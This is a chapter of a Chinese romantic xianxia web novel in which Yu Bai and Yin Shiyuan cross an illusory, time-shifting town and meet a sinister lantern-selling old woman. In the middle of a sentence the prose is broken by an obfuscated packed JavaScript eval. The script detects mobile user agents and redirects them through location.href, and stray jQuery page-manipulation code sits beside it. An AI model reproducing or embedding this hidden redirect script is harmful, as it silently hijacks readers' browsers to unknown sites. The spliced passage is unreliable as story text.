7. 花灯
作品:《失忆后和魔尊成亲了》 虞白循声抬眸望去。
就见站在门外出声问话的,正是昨日在清风楼里和她比试的人。
好像是姓许……?
许锦安刚从外面回来,还没进门就看见熟悉的两张面孔。
他当即炸毛道:“你们怎么在这?”
他还以为是许家派人来找他了呢。
“你们认识?”碧瑶懵懵地看了看两边。
许锦安轻哼了声,随意挑了把椅子坐下。
“勉强算认识。”
碧瑶说了句“这样啊”,而后瞧天色已暗,就拍了拍手,起身说道:“我去准备晚膳。”
她转身钻进夜幕。
一眨眼,人就看不见了。
屋主一走,许锦安傲慢嚣张的性子不再刻意收敛。
他扫了一圈,视线落在虞白身上。
“你也知道这里有问题吧。”
“想出去吗?”
“我们做笔交易。”
虞白:“……”
她觉得这位许公子的脑子更有问题。
见她没有反应,许锦安眯眼继续道:“你是聪明人,有些话不需要我多说吧。”
虞白想无视他,但这人喋喋不休的。若是不理,他估计能一直叨唠烦人。
“我为什么要和你合作。”
“若想知道这里的事情,我可以询问方瑶。你困在这出不去,也看不透如何出去,我为什么要跟你做交易。”
这番话没明讲,暗藏的意思却很明显——要你何用?
许锦安虽然不聪明,但也不至于傻到听不出来她的意思。
一声轻笑直接点燃了他的怒火。
许锦安狠狠地瞪着虞白身边的那个人,手指着他们两人,浑身气得发抖:“你!”
殷时渊讨厌,他身边的人也讨厌!
他跟他们就是八字犯冲!
许锦安用力握紧手心,放下狠话。
“我跟你合作我就是狗!以后就算你们跪下求我也没用!”
他放完狠话就扭头收手,目光死死地瞪着虚空,嘴里的牙咬得嘎吱作响,似是气得想咬人。
屋内的气氛瞬间尴尬了起来。
赵老和姝娘她们默默缩成一团,不敢多话。
*
碧瑶为人热情,晚膳准备得非常丰盛。吃完后还拉着他们一伙人在院里闲聊吹风、看星星。
晚风拂过树梢,带起阵阵香气。
初春的夜晚仍然有些寒凉,不宜久待在外吹风。他们待了一会儿,就准备回房休息。
小院空房仅剩一间,碧瑶看着多出来的四人,还没开口就被抢先打断。
“我不和不认识的人一间。”许锦安蹙眉说道。
“我和姝娘她们一间,他和赵叔一间。”虞白指了指殷时渊。
此处静谧祥和,看起来无害安全。但在一片危林里,小院本就突兀诡异。
不用许锦安提,她本来也没想过让赵叔单独和他相处。
一顿折腾后,他们各回各屋,一夜无梦到天明。
*
柔和的日光从绿叶缝隙中溜到窗棂上,院中的鸟雀一大早就飞在桃树枝头高声引啾。
虞白站在檐下眯眼望着鸟雀,手指微微曲起。
青翠枝叶里蓦地冒出一点白。
只见那点白渐渐朝那群鸟雀靠近,趁它们尚未察觉时,快速伸手碰了碰它们的绒毛。
随即又立时缩到桃叶里,顺着树干滑了下来,哒哒地跑跳到站在树下的人身上。
两只短手不断地扒拉衣角,三两下就爬到他的颈边。
然后趴着装死。
虞白:……
新捏的纸人刚会动就直往人袖里钻,做完任务也要黏着他。
她思来想去,只能归结于,他是她夫君,所以她的纸人才爱黏着他。
纸人乃高阶灵物,随主心动,与主共连。
虞白没多纠结此事,瞥了一眼就收回眸光,继续看鸟雀。
树上的那几只鸟雀不似寻常鸟雀那般怕人。被触碰了也只是歪头梳理羽毛,连爪都不带挪动的。
“虞姑娘。”姝娘走到她身旁,压低声音,“我们接下来呢,该去哪里寻回去的路?”
“你们先留在这,我和殷时渊出去外面看看。”虞白两指并拢,牵起姝娘的右手,在她手心画下符印。
浅淡的白光闪过,印记消失没入掌心,她解释道:“若有急事,可以握紧手掌,默念我名字,我便能与你对话。”
“遇到危险时,掌心对外,会自动撑开灵罩护住你们。我也会第一时间感知到,并立即赶回来。”
叮嘱完事项后,虞白就拉着还在树下逗纸人的殷时渊跨出院门,顺手把趴着不动的小纸人暂时收了起来。
*
昨日前来的路上一片寂静,道路两旁长满树木。
可现下眼前的景象却与昨日大相庭径。
从碧瑶家出来,对面是一排房屋,时不时有模糊的声音从里面传出。
街巷内还有不少人来往。
甚至还有人看见他们后,对他们点头微笑,打招呼问好。
虞白望着巷子的尽头,对殷时渊说道:“我们去那边看看。”
这条巷道不窄,相反还挺宽敞的。
走到尽头后,外面是临河的行道。
河面上平静无波,停着几条画舫。
路上行人匆匆,但是擦肩而过时,大多数人的脸都会渐渐模糊。
唯有零星几人与他们不同。
不止面容清晰,行为举止也更加生动。
就好似,其他人像是随手捏出来的虚影,而另外几位则是真实的。
街上的人越来越多,模糊的人脸和没有五官的人挤成一团,推搡着他们往一个方向前进。
那几张清晰的脸夹杂在其中,嘴角微扬,格外显眼。
甚至有那么一瞬息,他们几人的脸庞扭曲了一下。
身侧倏地窜出一张没有五官的人脸,并且还在不断靠近放大。
虞白冷不丁的被吓了一跳,下意识往另一侧躲开。
左侧身体触碰到另一个人的胸膛,没等虞白挪动身体,就有一道清凌的声音在头顶响起。
“是我。”
殷时渊及时将人护在怀里,隔开后面还在源源不断涌过来的人群。
虞白能感受到他的手轻轻搭在她的肩膀上,余光里的视线被衣袖遮挡住。
殷时渊拍了拍她,低声安抚:“没事,这些都是假的。”
他们两人靠得极近,殷时渊开口说话时,虞白都能感受到耳后传来温热的气息。
“嗯。”虞白稍微偏了点头,语气有些僵硬,“我刚才就是突然被吓到了,不是怕。”
殷时渊轻笑了下,眼角弯弯:“好,我知道了。”
“但我想保护我娘子,求求小鱼大人给个机会吧。”殷时渊低头俯身,柔声请求。
靠近他的那一侧耳垂愈发燥热,虞白忍不住捏了捏指尖,点头应道:“……那好吧。”
小鱼大人非常矜持地压住上翘的嘴角,心想:殷时渊都这么说了,她还是别狠心拒绝他这点小请求吧。
得到准许后,殷时渊的手掌心这才虚虚覆盖在虞白的眼眸上面,揽着人慢慢往前方带。
一路上,虞白都没被那些人触碰到,殷时渊也刻意放缓了步伐,时刻注意着她的速度。
浅淡的清香始终萦绕在虞白周身,她的注意力也因此被勾走大半。
直到四周的光线从明转暗,最后又转为明亮,吸引了虞白回神。
这一系列光线的变化时间不长,几个呼吸间就完成了转变。
她刚想张嘴询问,视线残留的亮光又迅速暗淡下去。
殷时渊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235607|166068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似是察觉到她内心的疑惑,先开口解答:“这里的时间一直在变。”
就方才短短几息内,旭日朝升暮合的,已经过去了好几天。
随着时间的流逝,周围那些诡异的人也渐渐消散了一些。
天色最终停在黄昏时分,远处的云霞漫天绚丽,连带染艳了河面。
而原本静止在河面上的画舫依次亮起了烛光,模糊怪异的人群也逐渐拥有了各自的五官表情。
周围的一切变得正常了起来。
殷时渊见状搂着人来到暗处,边将方才的变幻详细描述,边放下覆在虞白眼眸上的手。
虞白眨了眨眼,环视了一圈。周围果然不似方才那般诡异沉寂,此时就像是某日寻常的向晚。
暮色四合,刚才人群推搡前进的那处方向出现了一座石桥。
石桥横卧在河面之上,人们三五成群、陆陆续续的从青石板上走过,他们手里皆捧着一盏花灯。
虞白顺着人群,凝眸远望过去——
河岸的另一边灯火阑珊、人影绰绰,似乎是一座集市。
虞白扯了扯殷时渊的袖口,示意他看向那边:“走么?”
“走。”殷时渊看了一眼,点头笑道。
话音刚落,虞白就拉着他的手腕朝石桥的方向迈步。
*
桥头靠近河边的位置摆了一张方桌,桌上摆满了各式各样的花灯,和桥上行人手中的类似。
要想过桥就必定会路过此处。
虞白他们刚临近时,方桌后就传来一道沙哑粗糙的声音。
“姑娘,选一盏灯吧。”
一位满头银丝的老妇人从花灯后探出了头。
她的面容和蔼慈祥,笑眯眯地看着虞白,漆黑的眼瞳倒映着两簇灯火。见没人回应,老妇人又重复了一遍。
“姑娘,选一盏灯吧。”她的声音没有起伏,一板一眼的。
虞白抬眸注视她,回道:“一定要选?”
老婆婆上扬的嘴角又往上提了提,脸上的皱纹加深了几分:“必须选。”
“不选会如何?”
“不选……”老婆婆的嘴角愈发高扬,紧盯着眼前的少女。她的瞳孔微微放大,呼吸渐渐急促,喉间似有呢喃低语。
虞白手指微动,欲掐诀应对。
“嗯?”身旁的殷时渊像是想听清她口中的低语,稍微俯身凝视她,“会如何呢?”
还在不断咧嘴笑的老婆婆闻言霎时停住了笑,慢慢收回嘴角,恢复到和蔼的模样。
“不选就找不到路,上不了岸了。”她的声音颤颤巍巍的,“选一盏吧。”
说完还缩了下头。
“……”
老婆婆的意思很明了:要想过桥就必须选花灯。至于不选的后果,看她的样子也知道这不会是什么好选择。
虞白扫了眼方桌上的花灯,抬手指着其中一盏:“我选那个。”
半躲在花灯后的老婆婆顺势转头看去,见到熟悉的花瓣,眼神恍惚了一瞬。
随后眉眼彻底柔和下来,仿佛在看喜爱的小辈,感触道:
“桃花啊,桃花好啊。”
她小心翼翼地伸手捧起那盏桃花灯,放到虞白手中。
烛光摇曳里,此刻的她就像是外出摆摊卖花灯的慈祥老婆婆……
殷时渊在虞白之后也选了同她一样的桃花灯,他们捧着花灯踏上石桥。
谁也没能听见身后的声音——
老婆婆眼里的眸光逐渐暗淡,喉咙里咕哝着怪语:
“她好香,想吃……”
“好想吃啊。”
“不,不行,他会吃了我的。”老婆婆想到她身边的那个人,身体止不住发颤。
她抬起干枯瘦削的手捂住自己的嘴,可涎水依旧从指缝中流出,滴到桌上的花灯。
“好香…吃一口,就吃一口……”